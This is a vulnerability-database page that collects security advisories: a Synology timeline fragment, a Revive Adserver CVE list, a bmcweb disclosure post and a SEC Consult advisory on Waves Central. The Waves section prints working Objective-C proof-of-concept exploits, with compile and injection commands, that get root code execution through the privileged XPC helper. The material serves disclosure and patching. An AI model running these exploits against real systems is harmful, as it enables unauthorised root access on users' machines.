supplied.\n |\n| 22 July 2026 | Synology stated that the TLS certificate-validation\nbehaviour had been fixed in later DSM versions and maintained that the\nreport was not bounty eligible. |\n| 22 July 2026 | Synology was reminded that the stale-DNS condition\nmade the old client vulnerability practically exploitable and that the\nduration and historical extent of exposure were unknown. |\n| 22 July 2026 | Synology stated that it would adjust the\nconfiguration of `relayinfo.synology.com` to further reduce the risk.\n\n |\n| 22 July 2026 | Synology maintained the \"hardening suggestion\"\nclassification and declined a monetary reward.\n |\n\n\n## Assessment of Synology\u0027s response\n\nSynology is correct that every client observed in the captures was old and\npre-dated the relevant security update.\n\nThat fact does not invalidate the finding.\n\nThe stale-DNS condition was present in Synology-controlled infrastructure\nat the time of reporting. It t"
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GCVE-1988-2026-0363
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[REVIVE-SA-2026-003] Revive Adserver Vulnerabilities
Summary
========================================================================
Revive Adserver Security Advisory REVIVE-SA-2026-003
------------------------------------------------------------------------
https://www.revive-adserver.com/security/revive-sa-2026-003
------------------------------------------------------------------------
Date: 2026-06-25
Risk Level: Medium to High
Applications affected: Revive Adserver
Versions affected: <= 6.0.7
Versions not affected: >= 6.0.8
Website: https://www.revive-adserver.com/
========================================================================
========================================================================
1. Improper Access Control
========================================================================
Vulnerability Type: CWE-284: Improper Access Control
CVE-ID: CVE-2026-50739
Risk level: Medium
CVSS Base Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
------------------------------------------------------------------------
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3780709
https://github.com/revive-adserver/revive-adserver/commit/c03a0b6d
https://cwe.mitre.org/data/definitions/284.html
========================================================================
2. Reflected XSS
========================================================================
Vulnerability Type: CWE-79: Cross-site Scripting
CVE-ID: CVE-2026-50740
Risk level: Medium
CVSS Base Score: 6.1
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
------------------------------------------------------------------------
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3780806
https://github.com/revive-adserver/revive-adserver/commit/03d9ad8b
https://cwe.mitre.org/data/definitions/79.html
========================================================================
3. Remote Code Execution
========================================================================
Vulnerability Type: CWE-94: Code Injection
CVE-ID: CVE-2026-50741
Risk level: High
CVSS Base Score: 8.8
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
------------------------------------------------------------------------
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3780854
https://hackerone.com/reports/3781492
https://github.com/revive-adserver/revive-adserver/commit/3d1485de
https://github.com/revive-adserver/revive-adserver/commit/becaf6e7
https://cwe.mitre.org/data/definitions/94.html
========================================================================
4. Stored XSS
========================================================================
Vulnerability Type: CWE-79: Cross-site Scripting
CVE-ID: CVE-2026-50742
Risk level: Medium
CVSS Base Score: 4.4
CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
------------------------------------------------------------------------
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3781311
https://github.com/revive-adserver/revive-adserver/commit/91abb6ab
https://cwe.mitre.org/data/definitions/79.html
========================================================================
5. Cross-Site Request Forgery
========================================================================
Vulnerability Type: CWE-352: Cross-Site Request Forgery
CVE-ID: CVE-2026-50743
Risk level: Medium
CVSS Base Score: 5.4
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
------------------------------------------------------------------------
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3781691
https://github.com/revive-adserver/revive-adserver/commit/e3c84d6f
https://cwe.mitre.org/data/definitions/352.html
========================================================================
6. Improper Access Control
========================================================================
Vulnerability Type: CWE-284: Improper Access Control
CVE-ID: CVE-2026-50744
Risk level: Medium
CVSS Base Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
------------------------------------------------------------------------
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3783738
https://github.com/revive-adserver/revive-adserver/commit/3e04cb4a
https://cwe.mitre.org/data/definitions/284.html
========================================================================
7. Reflected XSS
========================================================================
Vulnerability Type: CWE-79: Cross-site Scripting
CVE-ID: CVE-2026-50745
Risk level: Medium
CVSS Base Score: 4.7
CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
------------------------------------------------------------------------
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3793243
https://github.com/revive-adserver/revive-adserver/commit/a570a0c1
https://cwe.mitre.org/data/definitions/79.html
========================================================================
Solution
========================================================================
========================================================================
Contact Information
========================================================================
The security contact for Revive Adserver can be reached at:
<security AT revive-adserver DOT com>.
Please review https://www.revive-adserver.com/security/ before doing so.
--
Matteo Beccati
On behalf of the Revive Adserver Team
https://www.revive-adserver.com/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
27 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Revive Adserver Vulnerabilities |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0363 (this record)
- related CVE-2026-50739
- related CVE-2026-50740
- related CVE-2026-50741
- related CVE-2026-50742
- related CVE-2026-50743
- related CVE-2026-50744
- related CVE-2026-50745
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GCVE-1988-2026-0375
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
bmcweb (OpenBMC web server): four vulnerabilities — two unfixed, GHSA without a CVE
Summary
Hi all,
Posting a brief summary of a four-finding disclosure on bmcweb (the OpenBMC HTTP/Redfish web server), which ships in
BMC firmware on most modern enterprise servers — Intel, IBM, HPE, NVIDIA, and various ODMs.
Full timeline and analysis on the blog:
https://binreaper.pages.dev/posts/2026-05-27-bmcweb-disclosure/
## Why bmcweb matters
A Baseboard Management Controller boots before the host CPU, has full control over the server (power, firmware,
console, in some configurations DMA), and is reachable from the management network. bmcweb is OpenBMC's HTTP front door
— Redfish API, web UI, KVM/console WebSocket. C++23 on Boost.Beast, single-threaded async, supports HTTP/1.1 and HTTP/2.
The single-threaded design means any blocking operation, large allocation, or event-loop stall takes the entire
management interface offline.
## The four findings
All reported 2026-02-23 to openbmc-security () lists ozlabs org.
| ID | Title | CVSS | Status |
|----|-------|------|--------|
| CONN-F2 | `Expect: 100-continue` bypasses body_limit (pre-auth OOM) | 7.5 | FIXED — commit `0b2049b0` (2026-04-21),
GHSA-p3gc-68x5-g9w3 |
| H2-F2 | HTTP/2 `Content-Length` trusted for `std::string::reserve()` (instant OOM) | 7.5 | FIXED — commit `62526bb0`
(2026-04-21), silent (no advisory) |
| H2-F1 | HTTP/2 no body_limit per stream (pre-auth OOM via streamed DATA frames) | 7.5 | UNFIXED — Gerrit 90580 today |
| AUTH-F6 | mTLS UPN suffix matching authenticates parent-domain / TLD-only certs | 6.8 | UNFIXED — Gerrit 90581 today |
## Three things worth flagging to this audience
1. **GHSA-p3gc-68x5-g9w3 has no CVE attached** (`cve_id: null`). It is not in NVD, OSV, the GitHub global Advisory
Database, or any distro security tracker that I checked. From a downstream-propagation perspective, the GHSA exists
only on the bmcweb security tab. The upstream maintainer's 2026-05-14 reply: "As far as I'm aware, there will be no CVE
assigned for this."
2. **One of two coordinated 2026-04-21 patches got an advisory; the other didn't.** CONN-F2 (the HTTP/1.1 bug) got
GHSA-p3gc. H2-F2 (the HTTP/2 sibling, same severity band, fix landed in the same minute) got no advisory at all. Anyone
applying bmcweb 3.0.0 because of the published advisory gets the H2-F2 fix as a side effect but doesn't know it.
3. **Intel firmware containing the unpatched binary is still on Intel's Download Center.** M50FCP BMC 2.94-0 (Download
Center ID 775817), dated January 2026, predates the upstream fix. I submitted CONN-F2 to Intel's bug bounty program
(Intigriti); triage accepted the scope, then closed out-of-scope under an "open-source projects we contribute to"
clause five hours later, despite the submission being explicitly about the vendor-distributed binary.
## H2-F1 (unfixed, posted today)
bmcweb's HTTP/1.1 path inherits its body limit from Boost.Beast's parser; the HTTP/2 path does not.
`HttpBody::reader::put()` in `http/http_body.hpp` appends incoming DATA-frame bytes to `value.str()` (a `std::string`)
with no size check. Authentication runs in `onRequestRecv()` on END_STREAM — i.e., after the full body has been
received and buffered. nghttp2 auto-replenishes flow-control windows by default; bmcweb does not set
`nghttp2_option_set_no_auto_window_update`.
Result: any client that can complete the TLS handshake (ALPN h2 is the default protocol path) can stream unlimited DATA
frames before authentication is ever attempted. The single-threaded event loop dies from OOM.
Suggested fix in Gerrit 90580 (https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90580): per-stream byte counter on
`HttpBody::reader`, bound at the existing `BMCWEB_HTTP_BODY_LIMIT` (30 MiB by default).
## AUTH-F6 (unfixed, posted today)
`isUPNMatch()` in `http/mutual_tls.cpp` performs domain suffix matching when validating mTLS client certificates in
UserPrincipalName mode. The algorithm walks dot-separated labels right-to-left and returns true once the UPN domain
runs out of labels, regardless of how many hostname labels remain. The project's own existing unit test asserted the
consequence as expected behaviour:
EXPECT_TRUE(isUPNMatch("user@com", "hostname.region.domain.com"));
A certificate with a UPN that is just a TLD authenticates any BMC in that TLD; a parent-domain certificate
authenticates any nested BMC. CVSS 6.8 because UPN mode is opt-in (default is CommonName) and requires a CA-signed
client cert with the broad UPN.
Suggested fix in Gerrit 90581 (https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90581): replace the walk with exact-match
plus one-label-prefix tolerance (preserves `user () domain com` matching `bmc-01.domain.com`; rejects deeper nesting).
## Disclosure status
Maintainer-side track is closed per Ed Tanous's 2026-05-14 reply ("This bug is no longer embargoed, and the fix is on
master. There's no longer a reason to send direct messages to the security responders. If you believe further action is
needed, please use the normal project communication channels."). Earlier today the H2-F1 and AUTH-F6 disclosures went
to openbmc () lists ozlabs org with their respective Gerrit changes. This Full Disclosure post is the broader-audience
signal.
Reproducers exist for CONN-F2 and H2-F1 (Python; pocs/bmcweb/ in my files). I am not attaching them; happy to share
with downstream vendor PSIRTs or fork maintainers on request.
Best regards,
binreaper
bobdabot () proton me
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | bmcweb OpenBMC web |
Affected:
unknown
|
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"lang": "en",
"type": "finder",
"value": "binreaper via Fulldisclosure"
}
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"lang": "en",
"value": "Hi all,\n\nPosting a brief summary of a four-finding disclosure on bmcweb (the OpenBMC HTTP/Redfish web server), which ships in \nBMC firmware on most modern enterprise servers \u2014 Intel, IBM, HPE, NVIDIA, and various ODMs.\n\nFull timeline and analysis on the blog:\n\n https://binreaper.pages.dev/posts/2026-05-27-bmcweb-disclosure/\n\n## Why bmcweb matters\n\nA Baseboard Management Controller boots before the host CPU, has full control over the server (power, firmware, \nconsole, in some configurations DMA), and is reachable from the management network. bmcweb is OpenBMC\u0027s HTTP front door \n\u2014 Redfish API, web UI, KVM/console WebSocket. C++23 on Boost.Beast, single-threaded async, supports HTTP/1.1 and HTTP/2.\n\nThe single-threaded design means any blocking operation, large allocation, or event-loop stall takes the entire \nmanagement interface offline.\n\n## The four findings\n\nAll reported 2026-02-23 to openbmc-security () lists ozlabs org.\n\n| ID | Title | CVSS | Status |\n|----|-------|------|--------|\n| CONN-F2 | `Expect: 100-continue` bypasses body_limit (pre-auth OOM) | 7.5 | FIXED \u2014 commit `0b2049b0` (2026-04-21), \nGHSA-p3gc-68x5-g9w3 |\n| H2-F2 | HTTP/2 `Content-Length` trusted for `std::string::reserve()` (instant OOM) | 7.5 | FIXED \u2014 commit `62526bb0` \n(2026-04-21), silent (no advisory) |\n| H2-F1 | HTTP/2 no body_limit per stream (pre-auth OOM via streamed DATA frames) | 7.5 | UNFIXED \u2014 Gerrit 90580 today |\n| AUTH-F6 | mTLS UPN suffix matching authenticates parent-domain / TLD-only certs | 6.8 | UNFIXED \u2014 Gerrit 90581 today |\n\n## Three things worth flagging to this audience\n\n1. **GHSA-p3gc-68x5-g9w3 has no CVE attached** (`cve_id: null`). It is not in NVD, OSV, the GitHub global Advisory \nDatabase, or any distro security tracker that I checked. From a downstream-propagation perspective, the GHSA exists \nonly on the bmcweb security tab. The upstream maintainer\u0027s 2026-05-14 reply: \"As far as I\u0027m aware, there will be no CVE \nassigned for this.\"\n\n2. **One of two coordinated 2026-04-21 patches got an advisory; the other didn\u0027t.** CONN-F2 (the HTTP/1.1 bug) got \nGHSA-p3gc. H2-F2 (the HTTP/2 sibling, same severity band, fix landed in the same minute) got no advisory at all. Anyone \napplying bmcweb 3.0.0 because of the published advisory gets the H2-F2 fix as a side effect but doesn\u0027t know it.\n\n3. **Intel firmware containing the unpatched binary is still on Intel\u0027s Download Center.** M50FCP BMC 2.94-0 (Download \nCenter ID 775817), dated January 2026, predates the upstream fix. I submitted CONN-F2 to Intel\u0027s bug bounty program \n(Intigriti); triage accepted the scope, then closed out-of-scope under an \"open-source projects we contribute to\" \nclause five hours later, despite the submission being explicitly about the vendor-distributed binary.\n\n## H2-F1 (unfixed, posted today)\n\nbmcweb\u0027s HTTP/1.1 path inherits its body limit from Boost.Beast\u0027s parser; the HTTP/2 path does not. \n`HttpBody::reader::put()` in `http/http_body.hpp` appends incoming DATA-frame bytes to `value.str()` (a `std::string`) \nwith no size check. Authentication runs in `onRequestRecv()` on END_STREAM \u2014 i.e., after the full body has been \nreceived and buffered. nghttp2 auto-replenishes flow-control windows by default; bmcweb does not set \n`nghttp2_option_set_no_auto_window_update`.\n\nResult: any client that can complete the TLS handshake (ALPN h2 is the default protocol path) can stream unlimited DATA \nframes before authentication is ever attempted. The single-threaded event loop dies from OOM.\n\nSuggested fix in Gerrit 90580 (https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90580): per-stream byte counter on \n`HttpBody::reader`, bound at the existing `BMCWEB_HTTP_BODY_LIMIT` (30 MiB by default).\n\n## AUTH-F6 (unfixed, posted today)\n\n`isUPNMatch()` in `http/mutual_tls.cpp` performs domain suffix matching when validating mTLS client certificates in \nUserPrincipalName mode. The algorithm walks dot-separated labels right-to-left and returns true once the UPN domain \nruns out of labels, regardless of how many hostname labels remain. The project\u0027s own existing unit test asserted the \nconsequence as expected behaviour:\n\n EXPECT_TRUE(isUPNMatch(\"user@com\", \"hostname.region.domain.com\"));\n\nA certificate with a UPN that is just a TLD authenticates any BMC in that TLD; a parent-domain certificate \nauthenticates any nested BMC. CVSS 6.8 because UPN mode is opt-in (default is CommonName) and requires a CA-signed \nclient cert with the broad UPN.\n\nSuggested fix in Gerrit 90581 (https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90581): replace the walk with exact-match \nplus one-label-prefix tolerance (preserves `user () domain com` matching `bmc-01.domain.com`; rejects deeper nesting).\n\n## Disclosure status\n\nMaintainer-side track is closed per Ed Tanous\u0027s 2026-05-14 reply (\"This bug is no longer embargoed, and the fix is on \nmaster. There\u0027s no longer a reason to send direct messages to the security responders. If you believe further action is \nneeded, please use the normal project communication channels.\"). Earlier today the H2-F1 and AUTH-F6 disclosures went \nto openbmc () lists ozlabs org with their respective Gerrit changes. This Full Disclosure post is the broader-audience \nsignal.\n\nReproducers exist for CONN-F2 and H2-F1 (Python; pocs/bmcweb/ in my files). I am not attaching them; happy to share \nwith downstream vendor PSIRTs or fork maintainers on request.\n\nBest regards,\nbinreaper\nbobdabot () proton me\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0364
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:30
VLAI
EPSS
VEX
Title
SEC Consult SA-20260609-0 :: Multiple Local Privilege Escalation Vulnerabilities in Waves Audio - Waves Central
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260609-0 >
=======================================================================
title: Multiple Local Privilege Escalation Vulnerabilities
product: Waves Audio - Waves Central
vulnerable version: v13.0.8 - v16.6.0
fixed version: v16.6.2
CVE number: CVE-2026-24064, CVE-2026-24065
impact: high
homepage:https://www.waves.com
found: 2026-01-07
by: Florian Haselsteiner (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Waves is the world’s leading developer of audio plugins and signal processors
for the professional and consumer electronics audio markets. Heard on hit
records, major motion pictures, and popular video games worldwide, Waves’
cutting-edge software and hardware processors are used in every aspect of
audio production, from tracking to mixing to mastering, broadcast, live sound,
and more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS,
and AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts."
Source:https://www.waves.com/about-us
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)
Waves Central provides a "PrivilegedHelperTool" during installation.
It uses the "InstlHelperApplication" located at the following path
to connect to the privileged helper tool via XPC:
/Applications/Waves\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/
It was found that the "InstlHelperApplication" was signed with the
entitlements "com.apple.security.cs.allow-dyld-environment-variables" and
"com.apple.security.cs.disable-library-validation" which together allow to inject
unsigned libraries into the process and therefore inheriting the code signature.
----------------------------------------------------------------------
% codesign -dvv --entitlements - /Applications/Waves\
Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
Executable=/Applications/Waves
Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
Identifier=com.waves.central.InstlHelperApplication
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded
Signature size=8956
Authority=Developer ID Application: Waves Inc (GT6E3XD798)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=12.02.2023 at 19:37:53
Info.plist entries=32
TeamIdentifier=GT6E3XD798
Runtime Version=11.1.0
Sealed Resources version=2 rules=13 files=5
Internal requirements count=1 size=200
[Dict]
[Key] com.apple.security.inherit
[Value]
[Bool] true
[Key] com.apple.security.network.client
[Value]
[Bool] true
[Key] com.apple.security.network.server
[Value]
[Bool] true
[Key] com.apple.security.files.bookmarks.app-scope
[Value]
[Bool] true
[Key] com.apple.security.cs.disable-library-validation
[Value]
[Bool] true
[Key] com.apple.security.files.bookmarks.document-scope
[Value]
[Bool] true
[Key] com.apple.security.files.user-selected.read-write
[Value]
[Bool] true
[Key] com.apple.security.personal-information.addressbook
[Value]
[Bool] true
[Key] com.apple.security.cs.allow-dyld-environment-variables
[Value]
[Bool] true
[Key] com.apple.security.cs.allow-unsigned-executable-memory
[Value]
[Bool] true
[Key] com.apple.security.cs.disable-executable-page-protection
[Value]
[Bool] true
----------------------------------------------------------------------
By inheriting the code signature an attacker, who injects a malicious
library into the application, is able to abuse the signature of the
InstlHelperApplication to connect to the privileged helper tool via
its exposed mach service "com.waves.central.InstlHelper".
2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)
It was found that the XPC service "com.waves.central.InstlHelper", offered
by the privileged helper, uses the connecting client's PID to check its
code signature. This is insecure and can be attacked using a PID reuse
attack, which will trick the service into thinking the connecting client
has a valid code signature.
Proof of concept:
-----------------
1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)
The attacker can abuse the function "executeIrlFileWithPath" offered by
the privileged helper to get code execution as root.
To demonstrate this the following dynamic library has been developed.
After loading the library, "executeIrlFileWithPath" is triggered
to execute /tmp/lol which is basically a shell script:
----------------------------------------------------------------------
#import <Foundation/Foundation.h>
//gcc -dynamiclib name
#include <stdio.h>
@protocol HelperProtocol
- (void)getVersionWithCompletion:(void (^)(id version))completion;
- (void)executeIrlFileWithPath:(NSString *)filePath
homeDir:(NSString *)homeDir
asUser:(id)asUser
completion:(void (^)(id result))completion;
//executeIrlFile(withPath: Swift.String, homeDir: Swift.String, asUser: Swift.String, authData: __C.NSData?, completion:
(__C.NSNumber) -> ()) -> ()
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
NSXPCConnection *conn =
[[NSXPCConnection alloc]
initWithMachServiceName:@"com.waves.central.InstlHelper"
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[conn resume];
id<HelperProtocol> proxy =
[conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"XPC error: %@", error);
}];
[proxy getVersionWithCompletion:^(id version) {
NSLog(@"Version: %@", version);
}];
[proxy executeIrlFileWithPath:@"/tmp/lol"
homeDir:@"/tmp"
asUser:@"root"
completion:^(id result){
NSLog(@"Execution result: %@", result);}];
[[NSRunLoop currentRunLoop] run];
----------------------------------------------------------------------
This code can be compiled using the following command:
clang -o waves_exploit.dylib -dynamiclib -framework Foundation waves_exploit.mm
After loading the library, /tmp/lol is created as described above:
cat /tmp/lol
/bin/bash -c "touch /etc/pwnedbytmp"
It can then be loaded into the injectable XPC client InstlHelperApplication:
DYLD_INSERT_LIBRARIES=/Users/user/Desktop/waves_exploit.dylib /Applications/Waves\
Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication
2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)
To exploit this issue an attacker can abuse the insecure client validation via
PID to gain access to the corresponding NSXPC functions via XPC.
The "executeIrlFileWithPath" function can be exploited to gain code execution
as root. The following Objective C PoC code was created:
----------------------------------------------------------------------
#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>
#define RACE_COUNT 32
#define BINARY "/Applications/Waves
Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication"
// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
extern char **environ;
@protocol HelperProtocol
- (void)getVersionWithCompletion:(void (^)(id version))completion;
- (void)executeIrlFileWithPath:(NSString *)filePath
homeDir:(NSString *)homeDir
asUser:(id)asUser
completion:(void (^)(id result))completion;
@end
void child() {
// send the XPC messages
NSXPCConnection *conn =
[[NSXPCConnection alloc]
initWithMachServiceName:@"com.waves.central.InstlHelper"
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[conn resume];
id<HelperProtocol> proxy =
[conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"XPC error: %@", error);
}];
[proxy getVersionWithCompletion:^(id version) {
NSLog(@"Version: %@", version);
}];
[proxy executeIrlFileWithPath:@"/tmp/lol"
homeDir:@"/tmp"
asUser:@"root"
completion:^(id result){
NSLog(@"Execution result: %@", result);}];
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
bool create_nstasks() {
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}
return true;
}
int main(int argc, const char * argv[]) {
if(argc > 1) {
// called from the NSTasks
child();
} else {
NSLog(@"Starting the race");
create_nstasks();
}
return 0;
}
----------------------------------------------------------------------
This can be compiled using gcc with the following command:
gcc -o exploit_waves_pid -framework Foundation exploit_pid.m
After creating the file /tmp/lol accordingly the binary can be run and the
helper will execute /tmp/lol as root.
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 16.1.6.244088
Vendor contact timeline:
------------------------
2026-01-21: Contacting vendor throughhttps://www.waves.com/contact-us
2026-01-22: Response by vendor, stating they will provide PGP keys for encrypted
communication as well as dedicated security email address.
2026-01-27: Asking for the encryption details.
2026-01-28: Vendor provides PGP key.
2026-01-29: Submitting encrypted advisory to vendor.
2026-02-04: Vendor had troubles decrypting the advisory. It was sent unencrypted
upon request.
2026-02-18: Ven
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Waves | Audio - Waves Central |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0364 (this record)
- related CVE-2026-24064
- related CVE-2026-24065
{
"containers": {
"cna": {
"affected": [
{
"product": "Audio - Waves Central",
"vendor": "Waves",
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"status": "affected",
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"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
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{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260609-0 \u003e\n=======================================================================\n title: Multiple Local Privilege Escalation Vulnerabilities\n product: Waves Audio - Waves Central\n vulnerable version: v13.0.8 - v16.6.0\n\u00a0 \u00a0 \u00a0 fixed version: v16.6.2\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-24064, CVE-2026-24065\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n homepage:https://www.waves.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-07\n by: Florian Haselsteiner (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Waves is the world\u2019s leading developer of audio plugins and signal processors\nfor the professional and consumer electronics audio markets. Heard on hit\nrecords, major motion pictures, and popular video games worldwide, Waves\u2019\ncutting-edge software and hardware processors are used in every aspect of\naudio production, from tracking to mixing to mastering, broadcast, live sound,\nand more. Waves offers Native and SoundGrid audio plugins in VST, TDM, RTAS,\nand AU formats for Pro Tools, Logic, Cubase, Ableton and other popular hosts.\"\n\nSource:https://www.waves.com/about-us\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24064)\nWaves Central provides a \"PrivilegedHelperTool\" during installation.\nIt uses the \"InstlHelperApplication\" located at the following path\nto connect to the privileged helper tool via XPC:\n/Applications/Waves\\ Central.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/\n\nIt was found that the \"InstlHelperApplication\" was signed with the\nentitlements \"com.apple.security.cs.allow-dyld-environment-variables\" and\n\"com.apple.security.cs.disable-library-validation\" which together allow to inject\nunsigned libraries into the process and therefore inheriting the code signature.\n\n----------------------------------------------------------------------\n% codesign -dvv --entitlements - /Applications/Waves\\ \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nExecutable=/Applications/Waves \nCentral.app/Contents/Resources/res/external/bin/InstlHelperApplication.app/Contents/MacOS/InstlHelperApplication\nIdentifier=com.waves.central.InstlHelperApplication\nFormat=app bundle with Mach-O universal (x86_64 arm64)\nCodeDirectory v=20500 size=1684 flags=0x10000(runtime) hashes=41+7 location=embedded\nSignature size=8956\nAuthority=Developer ID Application: Waves Inc (GT6E3XD798)\nAuthority=Developer ID Certification Authority\nAuthority=Apple Root CA\nTimestamp=12.02.2023 at 19:37:53\nInfo.plist entries=32\nTeamIdentifier=GT6E3XD798\nRuntime Version=11.1.0\nSealed Resources version=2 rules=13 files=5\nInternal requirements count=1 size=200\n[Dict]\n [Key] com.apple.security.inherit\n [Value]\n [Bool] true\n [Key] com.apple.security.network.client\n [Value]\n [Bool] true\n [Key] com.apple.security.network.server\n [Value]\n [Bool] true\n [Key] com.apple.security.files.bookmarks.app-scope\n [Value]\n [Bool] true\n [Key] com.apple.security.cs.disable-library-validation\n [Value]\n [Bool] true\n [Key] com.apple.security.files.bookmarks.document-scope\n [Value]\n [Bool] true\n [Key] com.apple.security.files.user-selected.read-write\n [Value]\n [Bool] true\n [Key] com.apple.security.personal-information.addressbook\n [Value]\n [Bool] true\n [Key] com.apple.security.cs.allow-dyld-environment-variables\n [Value]\n [Bool] true\n [Key] com.apple.security.cs.allow-unsigned-executable-memory\n [Value]\n [Bool] true\n [Key] com.apple.security.cs.disable-executable-page-protection\n [Value]\n [Bool] true\n----------------------------------------------------------------------\nBy inheriting the code signature an attacker, who injects a malicious\nlibrary into the application, is able to abuse the signature of the\nInstlHelperApplication to connect to the privileged helper tool via\nits exposed mach service \"com.waves.central.InstlHelper\".\n\n\n2) Local Privilege Escalation via Insecure XPC Client Validation (CVE-2026-24065)\nIt was found that the XPC service \"com.waves.central.InstlHelper\", offered\nby the privileged helper, uses the connecting 